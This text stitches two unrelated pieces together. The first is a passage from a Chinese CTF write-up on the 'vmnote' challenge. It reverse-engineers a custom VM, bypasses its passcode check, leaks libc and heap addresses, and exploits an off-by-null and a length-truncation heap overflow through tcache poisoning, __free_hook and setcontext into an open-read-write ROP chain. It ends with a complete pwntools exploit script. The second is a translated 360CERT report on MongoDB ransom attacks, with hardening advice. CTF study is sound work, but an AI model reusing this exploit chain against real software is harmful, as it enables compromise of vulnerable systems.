len2 = ptr[1];
off1 = ptr[2];
off2 = ptr[3];
if ( *ptr < 0 || len1 > 0x1FFF )
exit1();
if ( len2 < 0 || len2 > 0x1FFF )
exit1();
offset_check(off1, len1);
offset_check(off2, len2);
memcpy(&code[off1], ptr + 4, len1);
code_pos = off1;
memcpy(&data[off2], ptr + len1 + 16, len2);
return __readfsqword(0x28u) ^ v6;
}
可以看到note.bin的结构如下，待会解析note.bin的时候会用到。
note.bin
{
len1 4B 代码段code的长度
len2 4B 数据段data的长度
off1 4B 代码段code载入的偏移
off2 4B 数据段data载入的偏移
code len1B 代码段
data len2B 数据段
}
接着我们就去逆向vm函数，看看这个vm程序的指令格式，以及它是如何解释执行的。经过一番分析，我们发现这个vm的指令集是一个CISC指令集，它有如下的指令。
while ( code_pos >= 0 && code_pos <= 0x1FFF )
{
opcode = get_code();
while ( 1 )
{
v4 = (opcode >> 5) & 7; // 高3位
//
op = opcode & 0x1F; // 低5位
if ( op > 0x1D )
break;
opcode &= 0x1Fu;
switch ( op )
{
case 0uLL: // push
Push();
goto LABEL_1;
case 1uLL: // mov
a1 = v4;
Load_reg(v4);
goto LABEL_1;
case 2uLL:
change_rbp();
goto LABEL_1;
case 3uLL:
a1 = v4;
input(v4);
goto LABEL_1;
case 4uLL:
leave();
goto LABEL_1;
case 5uLL:
a1 = v4;
Sub(v4);
goto LABEL_1;
case 6uLL:
goto LABEL_1;
case 7uLL:
a1 = v4;
Add(v4);
goto LABEL_1;
case 8uLL:
a1 = v4;
Store(v4);
goto LABEL_1;
case 9uLL:
a1 = v4;
Store_reg(v4);
goto LABEL_1;
case 0xAuLL:
a1 = v4;
Load_(v4);
goto LABEL_1;
case 0xBuLL:
a1 = v4;
Cmp(v4);
goto LABEL_1;
case 0xCuLL:
exit1();
return;
case 0xDuLL:
a1 = v4;
And(v4);
goto LABEL_1;
case 0xEuLL:
Dec();
goto LABEL_1;
case 0xFuLL:
a1 = v4;
Div(v4);
goto LABEL_1;
case 0x10uLL:
a1 = v4;
JMP_reg(v4);
goto LABEL_1;
case 0x11uLL:
a1 = v4;
Call(v4);
goto LABEL_1;
case 0x12uLL:
Inc();
goto LABEL_1;
case 0x13uLL:
a1 = v4;
JMP(v4);
goto LABEL_1;
case 0x14uLL:
Pop();
goto LABEL_1;
case 0x15uLL:
a1 = v4;
Or(v4);
goto LABEL_1;
case 0x16uLL:
a1 = v4;
Mov(v4);
goto LABEL_1;
case 0x17uLL:
a1 = v4;
output1(v4);
goto LABEL_1;
case 0x18uLL:
Ret();
goto LABEL_1;
case 0x19uLL: // different
Note(a1, a2);
goto LABEL_1;
case 0x1AuLL:
Reset();
goto LABEL_1;
case 0x1BuLL:
Test();
goto LABEL_1;
case 0x1CuLL:
a1 = v4;
Mul(v4);
goto LABEL_1;
case 0x1DuLL:
a1 = v4;
Xor(v4);
goto LABEL_1;
default:
continue;
}
}
这个指令集的opcode用一个字节来表示，其中低5位用于表示opcode的种类，而高3位用来表示某个指令的一些属性。就拿load指令来举例子，其高3位则是用来表示存取的长度。
__int64 __fastcall Load_reg(int size)
{
__int64 pos; // rax
unsigned __int8 v2; // ST15_1
unsigned __int16 v3; // ST16_2
unsigned int v4; // ST24_4
int i; // [rsp+18h] [rbp-18h]
i = get_reg_num();
pos = regs[get_reg_num()];
switch ( size )
{
case 1:
v2 = get_data(pos, 1);
pos = v2;
LOBYTE(regs[i]) = v2;//取1字节
break;
case 2:
v3 = get_data(pos, 2);
pos = v3;
LOWORD(regs[i]) = v3;//取2字节
break;
case 3:
v4 = get_data(pos, 3);
pos = v4;
LODWORD(regs[i]) = v4;//取4字节
break;
case 4:
pos = get_data(pos, 4);//取8字节
regs[i] = pos;
break;
}
return pos;
}
我们发现一条特殊的指令note，这条指令就会根据参数的不同实现了不同的功能。这很明显是note是一个传统的表单，这道题将它嵌入到自己的vm指令集当中。note的前3个功能和生成随机数相关，后面的指令则是维护一个note结构，3是添加一个note结构，4是删除note结构，5是将data段上的某个字符串转化为long
int类型的数，6是向某个地址输入数据，7则是输出数据。
while ( 2 )
{
if ( LODWORD(regs[0]) <= 7 )
{
switch ( LODWORD(regs[0]) )
{
case 0uLL:
regs[0] = time(reg1);
break;
case 1uLL:
srand(reg1);
break;
case 2uLL:
regs[0] = rand();
break;
case 3uLL:
regs[0] = add_note(reg1);
break;
case 4uLL:
delete_note(reg1);
break;
case 5uLL:
pos = reg1;
check_bond(reg1);
regs[0] = atol(&data[pos]); // get_data
break;
case 6uLL: // 漏洞这里len会截断32位
buf = reg1;
nbytes = *&len;
if ( *&len > 0LL )
{
if ( find_and_check(reg1, len) )
{
cn = read(0, buf, nbytes);
if ( cn > 0 && buf[cn - 1] == '\n' )
buf[cn - 1] = 0;
}
}
break;
case 7uLL: // show
bufa = reg1;
v3 = strlen(reg1);
if ( find_and_check(bufa, v3) )
printf("content: %s\n", bufa);
break;
default:
continue;
}
}
break;
}
### 分析note.bin程序
因为程序运行的时候note.bin的逻辑，因此需要知道note.bin的程序的意义。因此第一步我们就需要对note.bin进行反汇编，根据我们之前的分析我们写出一个脚本disasm.py来将其转化成汇编程序(这里程序写好了放在文件包里面，需要的可以参考)。因为没办法反编译，我们就只能对着汇编来看这个程序的逻辑。
**绕过passcode**
我们是这运行一下这个程序，发现无法直接进入note的主逻辑，需要填写passcode。那么接下来就手撸程序的汇编指令。
root@38b5d32d43ad:/CTF/qwb/2021/xx/vmnote# ./vmnote
challenge 224366538
passcode:
耐心的分析这个汇编代码（就是按照这call的函数地址一个个搜：{），可以搜到了刚刚这一步的逻辑（我给了点注释，注释写在了代码的后面），这里它对输入的passcode和生成的随机数（challenge后面那串）做了检查check。
0xc5 push reg11
0xc7 mov reg11,reg12
0xca sub reg12,#0x60
0xd4 mov reg0,#0x1000
0xde call #0x6a8
//puts(0x1000)
0xe3 call #0x6b
//note(2)
0xe8 and reg0,#0xfffffff
0xf2 store reg0,mem[reg12]
0xf5 output dword reg0
//output(rand())
0xf7 mov reg0,#0xa
0x101 output byte reg0
//output('\n')
0x103 mov reg0,#0x100c
0x10d call #0x6a8
//puts(0x100c)
0x112 mov reg0,reg12
0x115 add reg0,#0x10
0x11f mov reg1,#0x30
0x129 call #0x5ef
//read(passcode,0x30)
0x12e mov reg0,reg12
0x131 add reg0,#0x10//input addr
0x13b load reg1,mem[reg12]//store random
0x13e call #0x413
//check()
0x143 leave
0x144 ret
我们来看看它是如何检查的。check做了如下三个检查：
1. 检查输入的长度是否大于`0x11`
2. 检查`s0[0x11]-0x12345678==random`
3. 对`前0x11个字节`做了`call #0x6cf`这个检查
//check(s0,s1)
//s0 is input
//s1 is random
0x413 push reg11
0x415 mov reg11,reg12
0x418 sub reg12,#0x60
0x422 store reg0,qword mem[reg12]
0x425 mov reg0,reg12
0x428 add reg0,#0x8
0x432 store reg1,qword mem[reg0]
0x435 load reg0,qword mem[reg12]
0x438 call #0x654
//strlen(s0)
0x43d cmp reg0,#0x11
0x447 ja #0x451
0x44c jmp #0x49a
//len(s0) > 0x11 ?
0x451 load reg0,qword mem[reg12]
0x454 add reg0,#0x11
0x45e call #0x95
//note(5) atol
0x463 sub reg0,#0x12345678
0x46d mov reg1,reg12
0x470 add reg1,#0x8
0x47a load reg1,qword mem[reg1]
0x47d cmp reg1,reg0
0x480 je #0x48a
0x485 jmp #0x49a
//s0[0x11]-0x12345678 == random ?
0x48a load reg0,qword mem[reg12]
0x48d call #0x6cf
0x492 test reg0,reg0
0x495 jne #0x4a9
0x49a mov reg0,#0x1018
0x4a4 call #0x769
0x4a9 leave
0x4aa ret
再看看0x6cf，其实就是一个数据表的比对操作。成功了就返回0否则返回1。其如何比对的，我可以大致写一下这个东西的伪代码大家就明白了
uchar s0[0x11];//输入的前0x11个字节
uchar key[0x11];// 从data+0x101f开始的11个字节
uchar table[...];// 从data+0x1120开始的数据表
for(int i=0;i<0x11;i++)
{
if( table[s0[i]] != key[i] )
return 0;
}
return 1;
利用gdb从内村中dump下来key和table的数据，就能够绕过passcode了。
table = b''
table += p64(0x6eb86077ab94b3da)+p64(0xb54c2e5fa59a5dc0)
table += p64(0x3cc348a8e7b9ef62)+p64(0xc9d9e6db081f4316)
table += p64(0xf603fb7d3d025c38)+p64(0xe5593013d886beb0)
table += p64(0xb10451c2099193d0)+p64(0xcffa0720ec71d541)
table += p64(0x5e31c87f8592cc55)+p64(0x78ba4737f5a321df)
table += p64(0x409719252b3eaefe)+p64(0x588cf1e1a7844efc)
table += p64(0x0d2d7ad7d3a1908f)+p64(0xa6e0ddbd69350e64)
table += p64(0x791e23ce57ea9beb)+p64(0x4d12e367064baa28)
table += p64(0x76226fc12c7233af)+p64(0x11d6bcc6f289ee34)
table += p64(0xa08a4a8b3abb563f)+p64(0xf9b4000c5a63536a)
key = p64(0x58b1230458d793d0)+p64(0x5123d0ead0d5931e)+b'\x58'
p.recvuntil('challenge ')
r = int(p.recvuntil('\n')[:-1])
print("random", r)
check_num = 0x12345678+r
p.recvuntil("passcode:")
payload = b''
for i in range(0x11):
payload += p8(table.index(key[i:i+1]))
payload += str(check_num).encode()
p.sendline(payload)
**note表单分析**
经过以上的分析，我们成功绕过检查后终于进入到note的表单界面。此时显现的5个功能的逻辑仍然需要我们去看一看note的反汇编的代码。
[DEBUG] Received 0x1d bytes:
b'challenge 58769985\n'
b'passcode: '
random 58769985
[DEBUG] Sent 0x1b bytes:
b'01d_6u7_v190r0u5_364189881\n'
[*] Paused (press any to continue)
[DEBUG] Received 0x3f bytes:
b'----menu----\n'
b'1. new\n'
b'2. show\n'
b'3. edit\n'
b'4. delete\n'
b'5. exit\n'
b'choice>> '
主程序的代码还是比较容易找到的，非常的清晰。程序会在data用一段空间来存储申请的note的地址，然后有如下的功能来对note进行操作。更加具体的大家可以仔细看看每个函数对应的汇编(asm文件)。
1. new函数根据idx和size创建note，但是有限制
1. 0<size<=0x60
2. 0<idx<=4
2. show函数根据idx输出对应的size的内容
3. edit函数未实现。。。
4. dlt函数根据idx来删除对应的note
// main
0x145 push reg11
0x147 mov reg11,reg12
0x14a mov reg0,#0x1132
0x154 call #0x6a8
//menu()
0x159 call #0x629
//get_choice()
0x15e cmp reg0,#0x1
0x168 je #0x1ae
0x16d cmp reg0,#0x2
0x177 je #0x1b8
0x17c cmp reg0,#0x3
0x186 je #0x1c2
0x18b cmp reg0,#0x4
0x195 je #0x1cc
0x19a cmp reg0,#0x5
0x1a4 je #0x1d6
0x1a9 jmp #0x14a
//table
0x1ae call #0x26a
//new
0x1b3 jmp #0x14a
0x1b8 call #0x33d
//show
0x1bd jmp #0x14a
0x1c2 call #0x37b
//edit
0x1c7 jmp #0x14a
0x1cc call #0x3d5
//dlt
0x1d1 jmp #0x14a
0x1d6 leave
0x1d7 ret
## 漏洞分析与利用
### 地址泄漏
在note程序的表单的new功能中在vm中调用`add_note`来实现。整个过程中都没有对chunk的数据来进行清空，因此可以通过show功能来输出表单中残留的地址。
void *__fastcall add_note(size_t size)
{
void *data; // [rsp+18h] [rbp-8h]
data = malloc(size);
if ( check_chunk(data) )
exit(0);
write_struct(data, size);
return data;
}
_QWORD *__fastcall write_struct(__int64 chunk_ptr, int size)
{
_QWORD *ptr; // rax
ptr = malloc(0x18uLL);
*ptr = chunk_ptr;
ptr[2] = chunk_list;
*(ptr + 2) = size;
chunk_list = ptr;
return ptr;
}
在尝试中，我申请了0x60大小的基本块之后输出其中残留的内容，能够找到一个libc上的地址，而且经过几次尝试发现是稳定的。于是这样我们就能够获得libc的地址(意外的收获！)。
p.sendlineafter('choice>> ', '1')
p.sendlineafter("idx: ", str(0))
p.sendlineafter("size: ", str(0x60))
p.sendafter("content: ", b'\xff')
show(0)
p.recvuntil("content: ")
libc = u64(p.recvuntil("\n")[:-1].ljust(8, b'\x00')) - 0x1ebbff
print("libc:", hex(libc))
这是输出：
[DEBUG] Received 0x3a bytes:
00000000 63 6f 6e 74 65 6e 74 3a 20 [ff 2b d1 21 f5 7f] 0a │cont│ent:│ ·+·│!···│
00000010 2d 2d 2d 2d 6d 65 6e 75 2d 2d 2d 2d 0a 31 2e 20 │----│menu│----│·1. │
00000020 6e 65 77 0a 32 2e 20 73 68 6f 77 0a 33 2e 20 65 │new·│2. s│how·│3. e│
00000030 64 69 74 0a 34 2e 20 64 65 6c │dit·│4. d│el│
0000003a
libc: 0x7ff521b27000
接着要的到堆的地址就需要将堆块先释放到tcache中在申请出来，这样就能得到残留的fd的地址（堆地址）。
new(0, size=0x30)
new(1, size=0x30)
new(2, size=0x30)
dlt(2)
dlt(1)
dlt(0)
p.sendlineafter('choice>> ', '1')
p.sendlineafter("idx: ", str(0))
p.sendlineafter("size: ", str(0x30))
p.sendafter("content: ", b'\xff')
show(0)
p.recvuntil("content: ")
heap = u64(p.recvuntil("\n")[:-1].ljust(8, b'\x00'))
print("heap:", hex(heap))
### 漏洞定位
这道题目比赛的时候第一天没有出来，有很大一部分原因是我笃信漏洞在add_note和del_note中。但是很不幸这程序的note的申请和释放都很正确，并没有造成double
free这样的漏洞。
回到正题这道题目我觉得出的挺好的一点就是，这道题目有两个漏洞，一个漏洞出在解释程序中，一个漏洞在note.bin的程序中，需要结合这两者才能劫持程序流拿到flag。接下来逐个分析这两个漏洞
**note.bin中的漏洞**
note.bin程序中的诸如idx等参数的输入是通过vm的一些指令来实现的。具体的是通过0x629这个函数来实现的。0x629如下所示，它传入0x60个0x5ef这个函数(表示输入的长度)。在reg中reg11表示rbp，reg12表示的是rsp，
**值得注意的它申请的栈空间正好也是0x60** 。
0x629 push reg11
0x62b mov reg11,reg12
0x62e sub reg12,#0x60
0x638 mov reg0,reg12
0x63b mov reg1,#0x60
0x645 call #0x5ef
0x64a mov reg0,reg12
0x64d call #0x95
0x652 leave
0x653 ret
0x5ef中有明显的溢出当，当输入的长度正好是0x60的时候，它就会向0x60的位置的写入一个字节的`\x00`（ **offset_by_null!!**
）。结合之前调用的它的0x629就会发现我们是向栈上输入内容的，而栈上和这个地址相隔0x60的地方正好存储着栈帧的地址，这就意味着栈帧低位被置空，
**如果此时能够控制对应的栈上的内容就能够劫持vm程序流。**
//read(addr,size)
//溢出overflow offset by null
0x5ef xor reg6,reg6
0x5f2 xor reg7,reg7
0x5f5 input reg7
0x5f7 cmp reg7,#0xa
0x601 je #0x615
0x606 store reg7,mem[reg0]
0x609 inc reg0
0x60b inc reg6
0x60d cmp reg6,reg1
0x610 jb #0x5f5
0x615 mov reg7,#0x0
0x61f store reg7,mem[reg0]
0x622 mov reg0,reg1
0x625 sub reg0,reg6
0x628 ret
测试一下，真的能造成程序的一些崩溃
[DEBUG] Sent 0x2 bytes:
b'6\n'
[DEBUG] Received 0x21 bytes:
00000000 ea ee d6 e0 e1 e9 e1 e9 d4 9e 7f 7c af 9e a8 a8 │····│····│···|│····│
00000010 94 90 97 96 e5 3b 1b 17 de a4 5b ad ad 32 31 72 │····│·;··│··[·│·21r│
00000020 18 │·│
00000021
[*] Process './vmnote' stopped with exit code 0 (pid 121)
[DEBUG] Received 0x4f7 bytes:
00000000 ba ba 33 da f4 2c fc d7 0a 97 cb 1c 70 9f 42 55 │··3·│·,··│····│p·BU│
00000010 99 4d 8c 62 9f 16 ae 11 ab 52 ef f4 e1 8b 04 66 │·M·b│····│·R··│···f│
00000020 42 3f fd 71 7f f4 2c b4 fe 82 47 5a 01 8f bc f1 │B?·q│··,·│··GZ│····│
00000030 f1 63 da 2b 98 c3 51 af 01 be 74 95 82 dd dd d6 │·c·+│··Q·│··t·│····│
00000040 12 07 3b c2 69 dc 53 13 97 a7 63 75 e2 da a6 94 │··;·│i·S·│··cu│····│
00000050 66 09 85 b3 2b 12 50 64 d0 3d e9 7b d0 1a d3 d2 │f···│+·Pd│·=·{│····│
00000060 21 91 93 f0 ad 47 18 44 ad 13 2d 8f 8c d4 97 f9 │!···│·G·D│··-·│····│
00000070 8a 3d ae 79 7e 0b 44 f8 5f 9c 33 a9 1a 57 f3 71 │·=·y│~·D·│_·3·│·W·q│
00000080 32 6e f9 2d 1a 34 68 a4 39 a0 f6 ee c6 b3 63 7c │2n·-│·4h·│9···│··c|│
00000090 9f 18 2f 60 22 32 7a 61 77 68 58 4a b8 7b b3 5e │··/`│"2za│whXJ│·{·^│
000000a0 a0 24 f0 7f eb 85 1d 4d e4 d5 64 e9 b2 3d 7a 91 │·$··│···M│··d·│·=z·│
000000b0 95 09 42 09 c0 77 b2 be a5 5c 64 97 fa 74 f5 37 │··B·│·w··│·\d·│·t·7│
000000c0 a9 2e 7a f4 17 d3 2b 96 5b 1d 8f 51 40 e4 7f 47 │·.z·│··+·│[··Q│@··G│
000000d0 a6 03 ed cc af 6f 1d 50 47 5b f0 80 27 8b ce 09 │····│·o·P│G[··│'···│
000000e0 2b 9c b2 99 85 35 b5 08 b8 82 b0 fa 16 a1 c1 80 │+···│·5··│····│····│
000000f0 58 18 fd eb 29 4c 62 76 57 99 5d bd 2e b7 dd ec │X···│)Lbv│W·]·│.···│
**解释程序中的漏洞**
这里其实还挺明显的，第一天就是硬是没有看出来。这里nbytes是size_t的类型是64bit，而len是int类型的有32位。len会截断传入的长度数据。这里看汇编可能会比ida的反编译来的明显。因此适当的构造长度数据就会造成堆溢出(`1<<32+0x30`)。
case 6uLL: // 漏洞这里len会截断32位
buf = reg1;
nbytes = *&len;
if ( *&len > 0LL )
{
if ( find_and_check(reg1, len) )
{
cn = read(0, buf, nbytes);
if ( cn > 0 && buf[cn - 1] == '\n' )
buf[cn - 1] = 0;
}
}
break;
/*
mov [rbp+nbytes], rax
cmp [rbp+nbytes], 0
jle loc_2288
mov rax, [rbp+nbytes]
mov edx, eax
mov rax, [rbp+buf]
mov esi, edx
mov rdi, rax
call find_and_check
*/
### 漏洞利用
首先劫持vm程序的控制流，通过构造note(6)的输入数据，造成堆溢出。观察note(6)发现需要传入reg0和reg1。前者表示输入的地址，后者表示输入的长度。
note(6)
0xa4 mov reg2,reg1
0xa7 mov reg1,reg0
0xaa mov reg0,#0x6
0xb4 note
0xb5 ret
为了控制reg0和reg1需要寻找gadget。由于可以控制栈所以一下简单的gadget能够控制输入参数。然后布置栈内容`pay =
p64(0x6ca)+p64(heap)+p64((1 << 32)+0x10)+p64(0xa4)+p64(0x14a)`，最后返回主逻辑。
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
利用溢出劫持tacahe，从而将fd改为`__free_hook`，申请到`__free_hook`的堆块。
这题开了沙箱需要进行orw
root@38b5d32d43ad:/CTF/qwb/2021/xx/vmnote# seccomp-tools dump ./vmnote
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
在libc中可以找到非常有用的gadget：`*0x0000000000154930: mov rdx, qword ptr[rdi + 8];mov
qword ptr[rsp], rax;call qword ptr[rdx +
0x20]*`配合`setcontext+61`的位置就能够劫持rsp从而劫持程序流实现orw。
pwndbg> x/10i &setcontext+61
0x7f8be7a580dd <setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
0x7f8be7a580e4 <setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
0x7f8be7a580eb <setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
0x7f8be7a580ef <setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
0x7f8be7a580f3 <setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
0x7f8be7a580f7 <setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
0x7f8be7a580fb <setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
0x7f8be7a580ff <setcontext+95>: test DWORD PTR fs:0x48,0x2
0x7f8be7a5810b <setcontext+107>: je 0x7f8be7a581c6 <setcontext+294>
0x7f8be7a58111 <setcontext+113>: mov rsi,QWORD PTR [rdx+0x3a8]
...
因为vm的栈是随机的因此需要进行一定的爆破，我本地大概6到7次成功一次。
[*] Switching to interactive mode
[DEBUG] Received 0x30 bytes:
00000000 68 61 63 6b 21 21 21 21 21 2b 04 00 00 00 00 00 │hack│!!!!│!+··│····│
00000010 00 00 00 73 a0 05 00 00 07 03 04 13 a3 05 00 00 │···s│····│····│····│
00000020 05 03 04 12 06 0b 06 02 33 b6 05 00 00 12 00 12 │····│····│3···│····│
00000030
hack!!!!!+\x04\x00\x00\x00\x00\xa0\x05\x00\x03\x13\x05\x00\x03\x12\x0b3\xb6\x05\x00\x00[*] Got EOF while reading in interactive
## EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
local = 1
if local == 1:
p = process('./vmnote')
lb = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi, rsi, rdx, rax = 0x26b72, 0x27529, 0x11c371, 0
syscall = 0
gadgets = []
else:
p = remote('', 00)
lb = ELF('libc.so.6')
rdi, rsi, rdx, rax = 0x26b72, 0x27529, 0x11c371, 0
gadgets = []
syscall = 0
# cmd = ''
# cmd += 'b *$rebase(0x3826)\n'
# cmd += 'b *$rebase(0x207f)\n'
# cmd += 'b *$rebase(0x2184)\n'
# p = gdb.debug(["./vmnote"], cmd)
table = b''
table += p64(0x6eb86077ab94b3da)+p64(0xb54c2e5fa59a5dc0)
table += p64(0x3cc348a8e7b9ef62)+p64(0xc9d9e6db081f4316)
table += p64(0xf603fb7d3d025c38)+p64(0xe5593013d886beb0)
table += p64(0xb10451c2099193d0)+p64(0xcffa0720ec71d541)
table += p64(0x5e31c87f8592cc55)+p64(0x78ba4737f5a321df)
table += p64(0x409719252b3eaefe)+p64(0x588cf1e1a7844efc)
table += p64(0x0d2d7ad7d3a1908f)+p64(0xa6e0ddbd69350e64)
table += p64(0x791e23ce57ea9beb)+p64(0x4d12e367064baa28)
table += p64(0x76226fc12c7233af)+p64(0x11d6bcc6f289ee34)
table += p64(0xa08a4a8b3abb563f)+p64(0xf9b4000c5a63536a)
key = p64(0x58b1230458d793d0)+p64(0x5123d0ead0d5931e)+b'\x58'
p.recvuntil('challenge ')
r = int(p.recvuntil('\n')[:-1])
print("random", r)
check_num = 0x12345678+r
p.recvuntil("passcode:")
payload = b''
for i in range(0x11):
payload += p8(table.index(key[i:i+1]))
payload += str(check_num).encode()
p.sendline(payload)
def new(idx, con='aaaa', size=4):
p.sendlineafter('choice>> ', '1')
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("size: ", str(size))
p.sendlineafter("content: ", con)
def show(idx):
p.sendlineafter('choice>> ', '2')
p.sendlineafter("idx: ", str(idx))
def dlt(idx):
p.sendlineafter('choice>> ', '4')
p.sendlineafter("idx: ", str(idx))
p.sendlineafter('choice>> ', '1')
p.sendlineafter("idx: ", str(0))
p.sendlineafter("size: ", str(0x60))
p.sendafter("content: ", b'\xff')
show(0)
p.recvuntil("content: ")
libc = u64(p.recvuntil("\n")[:-1].ljust(8, b'\x00')) - 0x1ebbff
print("libc:", hex(libc))
dlt(0)
new(0, size=0x30)
new(1, size=0x30)
new(2, size=0x30)
dlt(2)
dlt(1)
dlt(0)
p.sendlineafter('choice>> ', '1')
p.sendlineafter("idx: ", str(0))
p.sendlineafter("size: ", str(0x30))
p.sendafter("content: ", b'\xff')
show(0)
p.recvuntil("content: ")
heap = u64(p.recvuntil("\n")[:-1].ljust(8, b'\x00'))
print("heap:", hex(heap))
heap = heap-0xff+0x10
pay = p64(0x6ca)+p64(heap)+p64((1 << 32)+0x10)+p64(0xa4)+p64(0x14a)
p.sendlineafter('choice>> ', p64(0x888)+pay*2 + p64(0x888))
# gdb.attach(p)
p.sendlineafter('choice>> ', '5')
fh = libc+lb.sym['__free_hook']
context = libc+lb.sym['setcontext']+61
print("context", hex(context))
# 0x0000000000154930: mov rdx, qword ptr[rdi + 8];mov qword ptr[rsp], rax;call qword ptr[rdx + 0x20]
o = lb.sym['open']+libc
r = lb.sym['read']+libc
w = lb.sym['write']+libc
rdi += libc
rsi += libc
rdx += libc
gadgets = libc+0x154930
flag_addr = heap
buf = heap+0x500
# orw len is 0xa8
orw = p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(o)
orw += p64(rdi)+p64(3)+p64(rsi)+p64(buf)+p64(rdx)+p64(0x30)+p64(0)+p64(r)
orw += p64(rdi)+p64(1)+p64(rsi)+p64(buf)+p64(rdx)+p64(0x30)+p64(0)+p64(w)
payload = b'./flag'.ljust(0x38, b'\x00')+p64(0x41)+p64(fh)
payload = payload.ljust(0x78, b'\x00')+p64(0x21)+p64(heap+0x600)
payload = payload.ljust(0x100, b'\x00')+0x20*b'\x00'+p64(context) + \
b'\x00'*(0xa0-0x28)+p64(heap+0x200)+p64(rdi)
payload = payload.ljust(0x200)+orw[8:]
p.sendline(payload)
p.sendlineafter('choice>> ','6')
# pause()
new(1, con=p64(0)+p64(heap+0x100)+p64(0)*2+p64(context), size=0x30)
new(3, con=p64(gadgets), size=0x30)
dlt(1)
p.interactive() | 社区文章 |
# 【安全报告】MongoDB勒索事件现状调查报告
|
##### 译文声明
本文是翻译文章，文章来源：360CERT
原文地址：<http://mp.weixin.qq.com/s/JQcoyG9HvkKnGqqV_mjUuQ>
译文仅供参考，具体内容表达以及含义原文为准。
**01事件背景**
2016年底至2017年初，互联网爆发了针对MongoDB的勒索事件，国内外新闻都有大范围的报道。
黑客利用了Mongodb未授权访问漏洞，批量的对可操作的数据库进行了“删库”操作，并留下自己的联系方式，以此要挟用户使用比特币支付赎金换回数据。
相关报道如下：
<http://www.top-news.top/news-12640670.html>
<https://www.toppn.com/view/184696.html>
**02调查的起因**
近日360CERT通过在外部署的探针发现，某C段地址的27017端口短时间内被大量扫描。360CERT遂立即对该事件进行跟进，发现该C段地址有数台存在未授权访问的Mongodb服务器。
通过初步检测发现该C段Mongodb服务器发现均存在名为“WRITE_ME”、“REQUEST_YOUR_DATA”、“CONTACTME”等数据库
（如图1，图2，图3）。
通过数据库内留下的信息判断，黑客将用户数据删除后索要0.1至1个比特币。
图1:勒索者留下的数据库“WRITE_ME”
图2:勒索者留下的数据库“REQUEST_YOUR_DATE”
图3:勒索者留下的数据库”CONTACME”
由此判断当前互联网上任然存在着大量未授权访问的Mongodb服务器，已经被黑客删除了数据，并以此进行勒索。
**03全网扫描数据分析**
针对全网扫描后发现，有52313个IP地址开放了27017端口。
进一步对上述IP地址进一步扫描后发现有5538个Mongodb服务器仍存在未授权访问漏洞，其中4279个已经发现勒索者信息（如图4）。
图4:未授权访问的Mongodb服务器被勒索情况
**1、 TOP10 勒索者邮箱**
图5:TOP 10 勒索者邮箱
上述“勒索者邮箱”是指在未授权访问的Mongodb中，勒索者在其留下的电子邮箱（如图5）。
**2、TOP10 攻击日期**
图6:TOP 10 攻击日期
上述“攻击日期”是指在未授权访问的Mongodb中，勒索者在添加勒索信息时的操作日期（如图6）。
通过360 NetworkScan Mon平台可以看出在2017年5月16日左右，互联网产生了大量针对27017端口的扫描数量（如图7，图8）。
图7:360NetworkScan Mon 系统针对27017端口监控结果
图8:360NetworkScan Mon 系统针对27017端口监控结果
**3、TOP10 勒索者数据库使用名称**
图9:TOP 10 勒索者数据库使用名称
上述“勒索者数据库使用名称”是指在未授权访问的MongoDB中，勒索者在添加勒索信息时的创建的数据库名称（如图9）。
如果某个MongoDB中出现上述名称的数据库，那很有可能已经被勒索者攻击。
**4、 TOP10 数据库数量**
图10:TOP 10 数据库数量
上述“数据库数量”是指存在未授权访问的MongoDB服务器中数据库的数量（为保护用户数据，对应的IP地址已被隐藏）。
可以看出上述MongoDB服务器拥有大量数据，但是存在极大的安全隐患。
**04漏洞影响面**
在5538个存在未授权访问漏洞的MongoDB服务器中，属于中国的IP数量为1180。比例达到了21%。其中根据IP物理地址进行归属划分，列出了TOP20的物理地址归属（如下表1）。
表1:TOP 20 物理地址归属
**05修复建议**
1、修改默认端口或将MongoDB部署在内部网络中
修改默认的MongoDB端口(默认为：TCP 27017)为其他端口。
2、开启 MongoDB授权
> use admin
> db.createUser(
{
user: "root",
pwd: "YOUR PASSWORD",
roles:
[
{
role: "userAdminAnyDatabase",
db: "admin"
}
]
}
)
3、使用SSL加密功能
4、使用–bind_ip选项
该选项可以限制监听接口IP， 当在启动MongoDB的时候，使用 -bind_ip
192.168.0.1表示启动ip地址绑定，数据库实例将只监听192.168.0.1的请求。
5、开启日志审计功能
审计功能可以用来记录用户对数据库的所有相关操作。
6、做好数据备份的策略，以防万一
**06总结**
针对MongoDB的勒索在2016年底就开始了，但是时至今日仍然有大量的未授权访问机存在，同样其他一些基础的互联网应用也存在类似问题，这个问题值得我们关注。
